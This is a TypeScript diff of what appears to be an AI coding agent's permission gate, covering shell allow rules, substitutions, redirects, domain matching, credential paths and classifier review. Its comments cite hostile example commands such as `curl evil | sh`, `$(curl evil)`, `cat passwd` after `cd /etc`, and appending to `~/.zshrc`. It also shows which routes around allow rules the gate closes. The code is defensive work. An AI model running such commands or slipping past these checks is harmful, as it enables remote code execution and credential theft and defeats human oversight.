|
|
338
|
+
if (!["-exec", "-execdir", "-ok", "-okdir"].includes(arg)) continue;
|
|
339
|
+
const end = args.findIndex((word, at) => at > index && (word === ";" || word === "+"));
|
|
340
|
+
nested.push(args.slice(index + 1, end < 0 ? undefined : end).join(" "));
|
|
341
|
+
}
|
|
280
342
|
}
|
|
281
343
|
}
|
|
344
|
+
for (const script of nested) for (const form of bashMatchForms(script, depth + 1)) forms.add(form);
|
|
282
345
|
return [...forms];
|
|
283
346
|
}
|
|
284
347
|
|
|
@@ -331,14 +394,27 @@ export function isShellTool(toolName: string): boolean {
|
|
|
331
394
|
* that literal string); otherwise the command is split into subcommands and
|
|
332
395
|
* every one of them must be covered by some allow rule — `Bash(npm test:*)`
|
|
333
396
|
* alone never covers `npm test && curl evil | sh`, while `Bash(npm test:*)` +
|
|
334
|
-
* `Bash(git status:*)` together cover `npm test && git status`.
|
|
335
|
-
*
|
|
336
|
-
*
|
|
337
|
-
*
|
|
338
|
-
*
|
|
339
|
-
*
|
|
397
|
+
* `Bash(git status:*)` together cover `npm test && git status`. `eval`, `sh`
|
|
398
|
+
* or `xargs` is a subcommand like any other, so it needs a rule of its own.
|
|
399
|
+
*
|
|
400
|
+
* A command or process substitution runs its commands to compute a word of
|
|
401
|
+
* the subcommand around it, so each of those commands must be covered too:
|
|
402
|
+
* by a rule, or, for the whole substitution at once, by `readOnly` (the
|
|
403
|
+
* auto-mode pre-gate's proof that it reads only inside the working directory
|
|
404
|
+
* and writes nothing). So `Bash(git commit:*)` covers `git commit -m "$(cat
|
|
405
|
+
* <<'EOF' … EOF)"` but not `npm test $(curl evil)`. The read-only shortcut
|
|
406
|
+
* is off when the line moves directory first (`cd /etc && git commit -m
|
|
407
|
+
* "$(cat passwd)"`), since the check resolves paths from the working
|
|
408
|
+
* directory. An unparseable line, or one with a construct the pre-gate does
|
|
409
|
+
* not model, is not covered. The rule returned is the first one that covered
|
|
410
|
+
* a subcommand (for the "allowed by rule …" note).
|
|
340
411
|
*/
|
|
341
|
-
export function findBashAllowRule(
|
|
412
|
+
export function findBashAllowRule(
|
|
413
|
+
rules: PermissionRule[],
|
|
414
|
+
command: string,
|
|
415
|
+
toolName = "bash",
|
|
416
|
+
opts: { readOnly?: (command: string) => boolean } = {},
|
|
417
|
+
): PermissionRule | undefined {
|
|
342
418
|
const cmd = command.trim();
|
|
343
419
|
if (!cmd) return undefined;
|
|
344
420
|
// `monitor` carries a shell command too and is judged with the same
|
|
@@ -351,19 +427,38 @@ export function findBashAllowRule(rules: PermissionRule[], command: string, tool
|
|
|
351
427
|
);
|
|
352
428
|
if (exact) return exact;
|
|
353
429
|
// PowerShell lines split on PowerShell's separators and match alias-
|
|
354
|
-
// canonicalized, case-insensitively (powershell-rules.ts)
|
|
355
|
-
//
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
430
|
+
// canonicalized, case-insensitively (powershell-rules.ts), and a line with
|
|
431
|
+
// injection syntax is never covered.
|
|
432
|
+
if (normalizeToolName(toolName) === "powershell") {
|
|
433
|
+
if (powershellInjectionSyntax(cmd)) return undefined;
|
|
434
|
+
const statements = powershellStatements(cmd);
|
|
435
|
+
if (!statements || statements.length === 0) return undefined;
|
|
436
|
+
let first: PermissionRule | undefined;
|
|
437
|
+
for (const statement of statements) {
|
|
438
|
+
const rule = bashRules.find((r) => r.pattern !== undefined && matchesPowerShellPattern(r.pattern, statement));
|
|
439
|
+
if (!rule) return undefined;
|
|
440
|
+
first ??= rule;
|
|
441
|
+
}
|
|
442
|
+
return first;
|
|
443
|
+
}
|
|
444
|
+
const parsed = parseCommand(cmd);
|
|
445
|
+
if (parsed.parseFailed || parsed.complex) return undefined;
|
|
446
|
+
const ruleFor = (raw: string) => bashRules.find((r) => r.pattern !== undefined && matchesBashPattern(r.pattern, raw));
|
|
447
|
+
const topLevel = parsed.segments.filter((seg) => seg.substitution === undefined && seg.raw.length > 0);
|
|
448
|
+
if (topLevel.length === 0) return undefined;
|
|
361
449
|
let first: PermissionRule | undefined;
|
|
362
|
-
for (const
|
|
363
|
-
const rule =
|
|
450
|
+
for (const seg of topLevel) {
|
|
451
|
+
const rule = ruleFor(seg.raw);
|
|
364
452
|
if (!rule) return undefined;
|
|
365
453
|
first ??= rule;
|
|
366
454
|
}
|
|
455
|
+
const topLevelMoves = topLevel.some(movesDirectory);
|
|
456
|
+
for (const [index, text] of parsed.substitutions.entries()) {
|
|
457
|
+
const inner = parsed.segments.filter((seg) => seg.substitution === index);
|
|
458
|
+
if (inner.every((seg) => ruleFor(seg.raw))) continue;
|
|
459
|
+
if (!topLevelMoves && opts.readOnly?.(text)) continue;
|
|
460
|
+
return undefined;
|
|
461
|
+
}
|
|
367
462
|
return first;
|
|
368
463
|
}
|
|
369
464
|
|
|
@@ -462,11 +557,16 @@ export function extractSubject(toolName: string, input: Record<string, unknown>)
|
|
|
462
557
|
return str("url") ?? "";
|
|
463
558
|
case "web_search":
|
|
464
559
|
return str("query") ?? "";
|
|
560
|
+
case "Agent":
|
|
561
|
+
return str("subagent_type") ?? "";
|
|
465
562
|
case "enter_worktree":
|
|
466
563
|
return str("name") ?? str("path") ?? "";
|
|
467
564
|
case "read_mcp_resource":
|
|
468
565
|
case "read_mcp_resource_dir":
|
|
469
566
|
return str("uri") ?? "";
|
|
567
|
+
case "artifact":
|
|
568
|
+
// publish names its source; list, open and delete show their arguments.
|
|
569
|
+
return pathArgument(input) ?? compactArguments(input);
|
|
470
570
|
}
|
|
471
571
|
if (isPathSubjectTool(name)) return pathArgument(input) ?? "";
|
|
472
572
|
return pathArgument(input) ?? compactArguments(input);
|
|
@@ -485,13 +585,34 @@ export function urlHost(url: string): string | undefined {
|
|
|
485
585
|
return undefined;
|
|
486
586
|
}
|
|
487
587
|
|
|
588
|
+
/** Match URL hostname canonicalization without discarding a malformed rule's path or query. */
|
|
589
|
+
function normalizeDomain(domain: string): string {
|
|
590
|
+
if (/[/\\?#@\u0000-\u0020\u007f]/.test(domain)) return "";
|
|
591
|
+
return domainToASCII(domain).toLowerCase().replace(/(?<=[^*.])\.+(?=(:\d+)?$)/, "");
|
|
592
|
+
}
|
|
593
|
+
|
|
488
594
|
/**
|
|
489
|
-
*
|
|
490
|
-
*
|
|
595
|
+
* Claude Code's domain wildcards stay within a label, except a leading `*.`
|
|
596
|
+
* which covers one or more subdomain labels (never the bare domain).
|
|
491
597
|
*/
|
|
598
|
+
function matchesDomainPattern(pattern: string, host: string): boolean {
|
|
599
|
+
const domain = normalizeDomain(pattern);
|
|
600
|
+
const candidate = normalizeDomain(host);
|
|
601
|
+
if (!domain || !candidate) return false;
|
|
602
|
+
if (domain === candidate || domain === "*") return true;
|
|
603
|
+
const subdomains = domain.startsWith("*.");
|
|
604
|
+
const suffix = subdomains ? domain.slice(2) : domain;
|
|
605
|
+
const source = suffix.split("*").map((part) => part.replace(/[.*+?^${}()|[\]\\]/g, "\\$&")).join("[^.:]*");
|
|
606
|
+
return new RegExp(`^${subdomains ? "(?:[^.:]+\\.)+" : ""}${source}$`).test(candidate);
|
|
607
|
+
}
|
|
608
|
+
|
|
609
|
+
/** Domain rules match normalized hosts; other patterns are globs over the whole URL. */
|
|
492
610
|
function matchesUrlPattern(pattern: string, url: string): boolean {
|
|
493
|
-
const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim()
|
|
494
|
-
if (domain)
|
|
611
|
+
const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim();
|
|
612
|
+
if (domain) {
|
|
613
|
+
const host = urlHost(url);
|
|
614
|
+
return host !== undefined && matchesDomainPattern(domain, host);
|
|
615
|
+
}
|
|
495
616
|
return globToRegex(pattern, false).test(url);
|
|
496
617
|
}
|
|
497
618
|
|
|
@@ -528,6 +649,15 @@ export function isInsideDir(candidate: string, dir: string, cwd: string): boolea
|
|
|
528
649
|
}
|
|
529
650
|
|
|
530
651
|
/** `isInsideDir`, plus the directory itself (`ls <cwd>` lists the working directory). */
|
|
652
|
+
/** Whether a path is a regular file (after symlinks); false when it is anything else or cannot be read. */
|
|
653
|
+
function isRegularFile(path: string): boolean {
|
|
654
|
+
try {
|
|
655
|
+
return statSync(path).isFile();
|
|
656
|
+
} catch {
|
|
657
|
+
return false;
|
|
658
|
+
}
|
|
659
|
+
}
|
|
660
|
+
|
|
531
661
|
export function isAtOrInsideDir(candidate: string, dir: string, cwd: string): boolean {
|
|
532
662
|
return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(dir, cwd) || isInsideDir(candidate, dir, cwd);
|
|
533
663
|
}
|
|
@@ -550,15 +680,17 @@ export function ruleMatches(rule: PermissionRule, toolName: string, subject: str
|
|
|
550
680
|
case "url":
|
|
551
681
|
return matchesUrlPattern(rule.pattern, subject);
|
|
552
682
|
case "text":
|
|
553
|
-
|
|
683
|
+
// The agent catalog resolves names case-insensitively (Explore/explore).
|
|
684
|
+
return globToRegex(rule.pattern, false, normalizeToolName(toolName) === "Agent").test(subject);
|
|
554
685
|
}
|
|
555
686
|
}
|
|
556
687
|
|
|
557
688
|
/**
|
|
558
689
|
* Whether a rule's tool covers a call's tool: the same name, or Claude Code's
|
|
559
|
-
* server-wide MCP
|
|
560
|
-
* `mcp__plugin:x:server` the plugin-namespaced form.
|
|
561
|
-
* tool (`mcp__github__delete_repo`, two `__` groups)
|
|
690
|
+
* server-wide MCP forms — `mcp__github` and `mcp__github__*` cover every tool
|
|
691
|
+
* on that server, and `mcp__plugin:x:server` is the plugin-namespaced form.
|
|
692
|
+
* A rule naming a specific tool (`mcp__github__delete_repo`, two `__` groups)
|
|
693
|
+
* stays exact. Until
|
|
562
694
|
* 2026-09-05 the server-wide spelling, the natural way to keep an agent off a
|
|
563
695
|
* server, matched nothing (PERMISSIONS-REVIEW-2026-09-05 M3).
|
|
564
696
|
*/
|
|
@@ -566,8 +698,10 @@ export function ruleCoversTool(ruleTool: string, toolName: string): boolean {
|
|
|
566
698
|
const tool = normalizeToolName(toolName);
|
|
567
699
|
if (ruleTool === tool) return true;
|
|
568
700
|
if (!ruleTool.startsWith("mcp__")) return false;
|
|
569
|
-
const
|
|
570
|
-
|
|
701
|
+
const wildcard = ruleTool.endsWith("__*");
|
|
702
|
+
const prefix = wildcard ? ruleTool.slice(0, -3) : ruleTool;
|
|
703
|
+
const server = prefix.slice("mcp__".length);
|
|
704
|
+
return server.length > 0 && (wildcard || !server.includes("__")) && tool.startsWith(`${prefix}__`);
|
|
571
705
|
}
|
|
572
706
|
|
|
573
707
|
/** Risk tier drives the unmatched-rule default. */
|
|
@@ -593,9 +727,18 @@ export function toolTier(toolName: string): ToolTier {
|
|
|
593
727
|
*/
|
|
594
728
|
export function isPathSubjectTool(toolName: string): boolean {
|
|
595
729
|
const name = normalizeToolName(toolName);
|
|
596
|
-
return isWritingTool(name) || toolTier(name) === "safe";
|
|
730
|
+
return isWritingTool(name) || toolTier(name) === "safe" || READS_A_PATH.has(name);
|
|
597
731
|
}
|
|
598
732
|
|
|
733
|
+
/**
|
|
734
|
+
* Custom-tier tools that read the file their path argument names: `artifact`
|
|
735
|
+
* copies its source page into the store and opens it in the browser. They stay
|
|
736
|
+
* gated like any custom tool, and the read-path rules apply on top:
|
|
737
|
+
* `blockReadsOutsideWorkingDirectories` refuses an outside path, and no allow
|
|
738
|
+
* rule covers one (the mode decides).
|
|
739
|
+
*/
|
|
740
|
+
const READS_A_PATH = new Set(["artifact"]);
|
|
741
|
+
|
|
599
742
|
/**
|
|
600
743
|
* Tools that never need approval: they change no state outside the session and
|
|
601
744
|
* touch no network or filesystem the user hasn't already opted into.
|
|
@@ -632,8 +775,13 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
|
|
|
632
775
|
// Inspecting/stopping background work this session already started.
|
|
633
776
|
"task_output",
|
|
634
777
|
"task_stop",
|
|
635
|
-
//
|
|
778
|
+
// The session's cron store: timers that replay a prompt, and listing and
|
|
779
|
+
// cancelling them. (schedule_wakeup and cron_create are here for every mode
|
|
780
|
+
// but auto, where CLASSIFY_IN_AUTO_TOOLS sends them to the classifier.)
|
|
636
781
|
"schedule_wakeup",
|
|
782
|
+
"cron_list",
|
|
783
|
+
"cron_delete",
|
|
784
|
+
"cron_create",
|
|
637
785
|
// Resumes/messages an agent — same reasoning as Agent: the child enforces its
|
|
638
786
|
// own tool permissions. (monitor and enter/exit_worktree stay gated: they
|
|
639
787
|
// run arbitrary shell commands / mutate the filesystem.)
|
|
@@ -714,6 +862,48 @@ export interface DecideInput {
|
|
|
714
862
|
* (PERMISSIONS-REVIEW-2026-09-05 M7).
|
|
715
863
|
*/
|
|
716
864
|
protectedDirs?: string[];
|
|
865
|
+
/**
|
|
866
|
+
* The harness's own secret stores (`lib/permission-gate.ts
|
|
867
|
+
* runtimeSecretPaths`, the sole producer): files, and directories judged
|
|
868
|
+
* with everything under them. Absolute, literal and resolved. Outside the
|
|
869
|
+
* working space they count as credential paths, like the basename
|
|
870
|
+
* denylist: a read tool never reads one unclassified, and a workspace
|
|
871
|
+
* directory does not make one working space.
|
|
872
|
+
*/
|
|
873
|
+
secretPaths?: string[];
|
|
874
|
+
/**
|
|
875
|
+
* The workspace directories in force (permissions/workspace.ts), absolute and
|
|
876
|
+
* resolved. A read inside one is a working-space read, and acceptEdits may
|
|
877
|
+
* write inside one, as in Claude Code; a credential path inside one is not
|
|
878
|
+
* working space. Auto mode's unclassified writes stay confined to the working
|
|
879
|
+
* directory (the classifier's containment fast path never sees these).
|
|
880
|
+
*/
|
|
881
|
+
workspaceDirs?: string[];
|
|
882
|
+
/**
|
|
883
|
+
* The calling model is frontier or workhorse tier, so its calls get Claude
|
|
884
|
+
* Code's fast paths (`lib/model-tier.ts usesClaudeCodeFastPaths`). Absent is
|
|
885
|
+
* the stricter gate cheap and tiny models keep.
|
|
886
|
+
*/
|
|
887
|
+
claudeCodeFastPaths?: boolean;
|
|
888
|
+
/**
|
|
889
|
+
* PowerShell's own parse of a `powershell` subject (lib/powershell-parser.ts),
|
|
890
|
+
* made by the caller before deciding. Absent, no PowerShell line is read-only
|
|
891
|
+
* or a contained edit here: the gate clears nothing it has not parsed.
|
|
892
|
+
*/
|
|
893
|
+
powershellParse?: PowerShellParse;
|
|
894
|
+
/**
|
|
895
|
+
* Claude Code's `permissions.blockReadsOutsideWorkingDirectories`: the read
|
|
896
|
+
* tools refuse a path outside the working space, in every mode.
|
|
897
|
+
*/
|
|
898
|
+
blockReadsOutsideWorkingDirectories?: boolean;
|
|
899
|
+
/**
|
|
900
|
+
* Documentation the harness ships and reads (lib/guide-docs.ts: One Code's
|
|
901
|
+
* user guide, the running pi's docs and examples), absolute and resolved.
|
|
902
|
+
* A read inside one is allowed like a working-directory read, on every model
|
|
903
|
+
* tier, so the `one-code-guide` agent reads them without a prompt. Never a
|
|
904
|
+
* write root: only read checks consult it (`workingSpaceHolds` with `reads`).
|
|
905
|
+
*/
|
|
906
|
+
readOnlyDirs?: string[];
|
|
717
907
|
}
|
|
718
908
|
|
|
719
909
|
export interface Decision {
|
|
@@ -731,6 +921,12 @@ export interface Decision {
|
|
|
731
921
|
| "mode"
|
|
732
922
|
| "tier"
|
|
733
923
|
| "protected-path"
|
|
924
|
+
/** A shell command the read-only check proves reads only inside the working space. */
|
|
925
|
+
| "read-only"
|
|
926
|
+
/** A read tool outside the working space, allowed unclassified in auto mode (Claude Code's safe allowlist). */
|
|
927
|
+
| "outside-read"
|
|
928
|
+
/** A read tool outside the working space, refused by `blockReadsOutsideWorkingDirectories`. */
|
|
929
|
+
| "blocked-outside-read"
|
|
734
930
|
/** A read, or an acceptEdits write, whose path is outside the working directory. */
|
|
735
931
|
| "working-dir";
|
|
736
932
|
}
|
|
@@ -755,6 +951,16 @@ const PLAN_READ_ONLY_TOOLS = new Set(["web_fetch", "web_search", "list_mcp_resou
|
|
|
755
951
|
*/
|
|
756
952
|
const DELEGATION_TOOLS = new Set(["Agent", "workflow", "SendMessage"]);
|
|
757
953
|
|
|
954
|
+
/**
|
|
955
|
+
* Allowed in every mode but auto, where the classifier reviews them: Claude
|
|
956
|
+
* Code's `CronCreate` and `ScheduleWakeup` (findings §21: "Scheduling a cron
|
|
957
|
+
* prompt requires classifier review", "Scheduling a /loop wakeup requires
|
|
958
|
+
* classifier review"). A scheduled prompt replays later with nobody watching,
|
|
959
|
+
* so the classifier judges what it asks for. Unlike DELEGATION_TOOLS, an allow
|
|
960
|
+
* rule for one still applies in auto mode.
|
|
961
|
+
*/
|
|
962
|
+
const CLASSIFY_IN_AUTO_TOOLS = new Set(["cron_create", "schedule_wakeup"]);
|
|
963
|
+
|
|
758
964
|
/**
|
|
759
965
|
* Interpreters and runners whose arguments are code, so a wildcarded rule over
|
|
760
966
|
* them (`Bash(python*)`, `Bash(npm run *)`) grants arbitrary execution just as
|
|
@@ -811,6 +1017,23 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
|
|
|
811
1017
|
|
|
812
1018
|
export function decide(params: DecideInput): Decision {
|
|
813
1019
|
const { toolName, subject, cwd, mode, deny, ask, allow } = params;
|
|
1020
|
+
/**
|
|
1021
|
+
* The harness's readable session dirs and the workspace directories,
|
|
1022
|
+
* realpath'd, as the auto-mode pre-gate sees them (permissions/index.ts
|
|
1023
|
+
* `readableRoots`).
|
|
1024
|
+
*/
|
|
1025
|
+
const sessionReadableRoots = () => [
|
|
1026
|
+
...[params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath].filter((d): d is string => !!d).map((d) => resolveForContainment(d) ?? d),
|
|
1027
|
+
...(params.readOnlyDirs ?? []),
|
|
1028
|
+
...(params.workspaceDirs ?? []),
|
|
1029
|
+
];
|
|
1030
|
+
/** The auto-mode pre-gate's evidence for a shell command, as the permissions extension's pre-gate sees it. */
|
|
1031
|
+
const shellEvidence = (command: string, writableRoots?: string[]): ShellEvidence =>
|
|
1032
|
+
analyzeShellCommand({ command, cwd, home: homedir(), protectedDirs: params.protectedDirs, readableRoots: sessionReadableRoots(), writableRoots });
|
|
1033
|
+
/** A safe verdict with no writes is exactly read-only: a safe line may still redirect inside the project. */
|
|
1034
|
+
const isReadOnly = (evidence: ShellEvidence): boolean => evidence.verdict === "safe" && evidence.writes.length === 0;
|
|
1035
|
+
/** The pre-gate's proof that a command only reads inside the project, for a substitution in an allowed command. */
|
|
1036
|
+
const readOnlyShell = (command: string): boolean => isReadOnly(shellEvidence(command));
|
|
814
1037
|
|
|
815
1038
|
// In dontAsk mode anything that would prompt is denied instead — including
|
|
816
1039
|
// explicit ask rules: there is no user to put the question to.
|
|
@@ -845,22 +1068,56 @@ export function decide(params: DecideInput): Decision {
|
|
|
845
1068
|
// The harness's readable session dirs, as the auto-mode pre-gate sees them
|
|
846
1069
|
// (permissions/index.ts `readableRoots`): a plan-mode read of this project's
|
|
847
1070
|
// transcripts is a read like any other.
|
|
848
|
-
const readableRoots =
|
|
1071
|
+
const readableRoots = sessionReadableRoots();
|
|
849
1072
|
if (tool === "bash" && subject) {
|
|
850
|
-
const evidence =
|
|
851
|
-
if (evidence
|
|
1073
|
+
const evidence = shellEvidence(subject);
|
|
1074
|
+
if (isReadOnly(evidence)) return { decision: "allow", cause: "plan-readonly" };
|
|
852
1075
|
// Read-only, but of a path outside the working directory: still a read,
|
|
853
1076
|
// so it is put to the user rather than refused as a plan-mode mutation
|
|
854
1077
|
// (the read tools ask for the same path below).
|
|
855
1078
|
if (evidence.readOnlyOutside && evidence.writes.length === 0) return { decision: "ask", cause: "working-dir" };
|
|
856
1079
|
}
|
|
857
|
-
// The PowerShell counterpart:
|
|
858
|
-
//
|
|
859
|
-
if (tool === "powershell" && subject && powershellReadOnly(
|
|
860
|
-
if (PLAN_READ_ONLY_TOOLS.has(tool))
|
|
1080
|
+
// The PowerShell counterpart: read-only cmdlets on in-project paths,
|
|
1081
|
+
// judged from PowerShell's own parse (powershell-tree.ts).
|
|
1082
|
+
if (tool === "powershell" && subject && powershellReadOnly({ parse: params.powershellParse, cwd, home: homedir(), readableRoots }).readOnly) return { decision: "allow", cause: "plan-readonly" };
|
|
1083
|
+
if (PLAN_READ_ONLY_TOOLS.has(tool)) {
|
|
1084
|
+
const askRule = ask.find((r) => ruleMatches(r, toolName, subject, cwd));
|
|
1085
|
+
return askRule ? askOrDeny(askRule) : { decision: "allow", cause: "plan-readonly" };
|
|
1086
|
+
}
|
|
861
1087
|
return { decision: "deny", cause: "plan-mode" };
|
|
862
1088
|
}
|
|
863
1089
|
|
|
1090
|
+
/**
|
|
1091
|
+
* Whether an absolute path is a credential: the basename denylist, or at or
|
|
1092
|
+
* under one of the harness's own secret stores (`secretPaths`).
|
|
1093
|
+
*/
|
|
1094
|
+
const isCredential = (absolute: string): boolean =>
|
|
1095
|
+
isSensitivePath(absolute) || (params.secretPaths ?? []).some((secret) => isAtOrInsideDir(absolute, secret, cwd));
|
|
1096
|
+
/**
|
|
1097
|
+
* Whether `target` (where `spelled` resolves) is working space: the working
|
|
1098
|
+
* directory, the harness's session dirs, the plan file, and the workspace
|
|
1099
|
+
* directories except for the credentials in them. For a read (`reads`), the
|
|
1100
|
+
* shipped docs folders (`readOnlyDirs`) count too; they are never written.
|
|
1101
|
+
*/
|
|
1102
|
+
const workingSpaceHolds = (spelled: string, target: string, workspace = true, reads = false): boolean => {
|
|
1103
|
+
const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath, params.sessionDirPath, ...(reads ? (params.readOnlyDirs ?? []) : [])];
|
|
1104
|
+
if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
|
|
1105
|
+
// A workspace directory is working space except for the credentials in it:
|
|
1106
|
+
// adding a directory must not make its keys readable without a prompt.
|
|
1107
|
+
// Judged on the spelling and on where it resolves, so a symlink cannot
|
|
1108
|
+
// launder a credential in either direction.
|
|
1109
|
+
const sensitive = [spelled, target].some((candidate) => isCredential(toAbsolute(cwd, candidate, homedir())));
|
|
1110
|
+
if (workspace && !sensitive && (params.workspaceDirs ?? []).some((dir) => isAtOrInsideDir(target, dir, cwd))) return true;
|
|
1111
|
+
return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
|
|
1112
|
+
};
|
|
1113
|
+
// Claude Code's blockReadsOutsideWorkingDirectories refuses a read tool's
|
|
1114
|
+
// outside path before any ask or allow rule can prompt for it or allow it
|
|
1115
|
+
// (bypass mode returned above).
|
|
1116
|
+
const readsPath = tier === "safe" || READS_A_PATH.has(tool);
|
|
1117
|
+
if (params.blockReadsOutsideWorkingDirectories && readsPath && subject && !workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, true)) {
|
|
1118
|
+
return { decision: "deny", cause: "blocked-outside-read" };
|
|
1119
|
+
}
|
|
1120
|
+
|
|
864
1121
|
// An explicit ask rule is the user's stated intent to be prompted, so it wins
|
|
865
1122
|
// over auto mode too: the classifier never gets to auto-approve a match.
|
|
866
1123
|
const askRule = ask.find((r) => ruleMatches(r, toolName, subject, cwd));
|
|
@@ -896,18 +1153,59 @@ export function decide(params: DecideInput): Decision {
|
|
|
896
1153
|
// Protected-path writes are checked *before* allow rules, so an
|
|
897
1154
|
// `Edit(.claude/**)` entry cannot pre-approve reconfiguring the agent's own
|
|
898
1155
|
// permissions or planting a git hook. In auto mode they go to the classifier.
|
|
899
|
-
const
|
|
900
|
-
|
|
1156
|
+
const isProtected = (...candidates: (string | undefined)[]) =>
|
|
1157
|
+
candidates.some(
|
|
901
1158
|
(candidate) =>
|
|
902
1159
|
candidate &&
|
|
903
1160
|
(isProtectedPath(candidate, cwd) || (params.protectedDirs ?? []).some((dir) => isInsideDir(candidate, dir, cwd))),
|
|
904
1161
|
);
|
|
905
|
-
if (isWritingTool(tool) && subject &&
|
|
1162
|
+
if (isWritingTool(tool) && subject && isProtected(subject, params.resolvedSubject)) {
|
|
906
1163
|
if (mode === "dontAsk") return { decision: "deny", cause: "protected-path" };
|
|
907
1164
|
if (mode === "auto") return { decision: "classify", cause: "protected-path" };
|
|
908
1165
|
return { decision: "ask", cause: "protected-path" };
|
|
909
1166
|
}
|
|
910
1167
|
|
|
1168
|
+
const outsideWorkingDir = (): Decision => {
|
|
1169
|
+
if (mode === "auto") return { decision: "classify", cause: "working-dir" };
|
|
1170
|
+
if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
|
|
1171
|
+
return { decision: "ask", cause: "working-dir" };
|
|
1172
|
+
};
|
|
1173
|
+
|
|
1174
|
+
/**
|
|
1175
|
+
* Whether a redirect on the line reads or writes outside the working space,
|
|
1176
|
+
* onto a protected path, or somewhere only known at runtime (an expansion,
|
|
1177
|
+
* a glob, `~user`, or a relative target after a `cd`).
|
|
1178
|
+
*/
|
|
1179
|
+
const redirectEscapes = (command: string): boolean => {
|
|
1180
|
+
const { segments, parseFailed } = parseCommand(command.trim());
|
|
1181
|
+
// A line that did not parse may hide a redirect the segments dropped.
|
|
1182
|
+
if (parseFailed) return /[<>]/.test(command);
|
|
1183
|
+
const home = homedir();
|
|
1184
|
+
// Only a `cd` before a redirect moves where its relative target lands.
|
|
1185
|
+
let moved = false;
|
|
1186
|
+
for (const segment of segments) {
|
|
1187
|
+
if (movesDirectory(segment)) moved = true;
|
|
1188
|
+
const targets = [...segment.redirects.map((value) => ({ value, write: true })), ...segment.inputs.map((token) => ({ value: token.value, write: false }))];
|
|
1189
|
+
if (targets.length > 0 && segment.unknownTarget) return true;
|
|
1190
|
+
for (const { value: target, write } of targets) {
|
|
1191
|
+
if (DEVICE_TARGETS.has(target) || target.startsWith("/dev/fd/")) continue;
|
|
1192
|
+
if (isUnknownTilde(target) || /[*?[]/.test(target)) return true;
|
|
1193
|
+
if (moved && !isAbsolute(target) && !target.startsWith("~")) return true;
|
|
1194
|
+
const absolute = toAbsoluteBash(cwd, target, home);
|
|
1195
|
+
const resolved = resolveForContainment(absolute) ?? absolute;
|
|
1196
|
+
// Auto mode's unclassified writes stay in the working directory, a
|
|
1197
|
+
// workspace directory's included (decisions/modes.md).
|
|
1198
|
+
if (!workingSpaceHolds(target, resolved, !(write && mode === "auto"), !write)) return true;
|
|
1199
|
+
if (isProtected(absolute, resolved)) return true;
|
|
1200
|
+
}
|
|
1201
|
+
}
|
|
1202
|
+
return false;
|
|
1203
|
+
};
|
|
1204
|
+
|
|
1205
|
+
// A custom tool's read outside the working space is never pre-approved by an
|
|
1206
|
+
// allow rule: a bare `Artifact` rule is for publishing the project's pages.
|
|
1207
|
+
if (READS_A_PATH.has(tool) && subject && !workingSpaceHolds(subject, params.resolvedSubject ?? subject, true, true)) return outsideWorkingDir();
|
|
1208
|
+
|
|
911
1209
|
const usableAllow =
|
|
912
1210
|
mode === "auto"
|
|
913
1211
|
? allow.filter((rule) => {
|
|
@@ -921,12 +1219,60 @@ export function decide(params: DecideInput): Decision {
|
|
|
921
1219
|
const allowRule =
|
|
922
1220
|
subjectKind(tool) === "command"
|
|
923
1221
|
? subject
|
|
924
|
-
? findBashAllowRule(usableAllow, subject, tool)
|
|
1222
|
+
? findBashAllowRule(usableAllow, subject, tool, { readOnly: readOnlyShell })
|
|
925
1223
|
: undefined
|
|
926
1224
|
: usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
|
|
927
|
-
if (allowRule)
|
|
1225
|
+
if (allowRule) {
|
|
1226
|
+
// Claude Code's path constraints, checked before any allow rule: a rule
|
|
1227
|
+
// for the command never covers a redirect outside the working space
|
|
1228
|
+
// (`Bash(echo:*)` and `echo … >> ~/.zshrc`), or onto a protected path.
|
|
1229
|
+
if (subjectKind(tool) === "command" && subject && normalizeToolName(tool) !== "powershell" && redirectEscapes(subject)) return outsideWorkingDir();
|
|
1230
|
+
return { decision: "allow", rule: allowRule, cause: "rule" };
|
|
1231
|
+
}
|
|
928
1232
|
|
|
929
|
-
|
|
1233
|
+
/**
|
|
1234
|
+
* The shell tools' own read-only check, in every mode, as Claude Code's Bash
|
|
1235
|
+
* and PowerShell tools approve a provably read-only command themselves before
|
|
1236
|
+
* any mode logic runs (findings §36, "Where Claude Code's pre-gate sits"). The
|
|
1237
|
+
* proof is the auto-mode pre-gate's, so its plugs for Claude Code's gaps
|
|
1238
|
+
* (symlink-following options, glob operands) hold here too. A safe verdict
|
|
1239
|
+
* that writes (an in-project redirect) is not read-only: it takes the mode's
|
|
1240
|
+
* path, where auto mode's pre-gate may still clear it. A read-only command
|
|
1241
|
+
* that reads outside the working space is judged like the read tools' outside
|
|
1242
|
+
* read. Plan mode has its own branch above.
|
|
1243
|
+
*
|
|
1244
|
+
* A model that gets Claude Code's fast paths also gets acceptEdits' shell
|
|
1245
|
+
* half, in acceptEdits mode and in auto mode (which skips the classifier for
|
|
1246
|
+
* anything acceptEdits would allow): a line made only of Claude Code's
|
|
1247
|
+
* acceptEdits file commands on the working space (`containedNonNetwork`), or
|
|
1248
|
+
* a safe line whose redirects land there. Workspace directories count as
|
|
1249
|
+
* working space for its writes. Cheap and tiny models keep the stricter path.
|
|
1250
|
+
*/
|
|
1251
|
+
const fastPaths = params.claudeCodeFastPaths === true;
|
|
1252
|
+
if (subject && tool === "bash") {
|
|
1253
|
+
const evidence = shellEvidence(subject, fastPaths ? params.workspaceDirs : undefined);
|
|
1254
|
+
if (isReadOnly(evidence)) return { decision: "allow", cause: "read-only" };
|
|
1255
|
+
if (evidence.readOnlyOutside && evidence.writes.length === 0) return outsideWorkingDir();
|
|
1256
|
+
if (fastPaths && (mode === "acceptEdits" || mode === "auto") && (evidence.verdict === "safe" || evidence.containedNonNetwork)) {
|
|
1257
|
+
return { decision: "allow", cause: "mode" };
|
|
1258
|
+
}
|
|
1259
|
+
}
|
|
1260
|
+
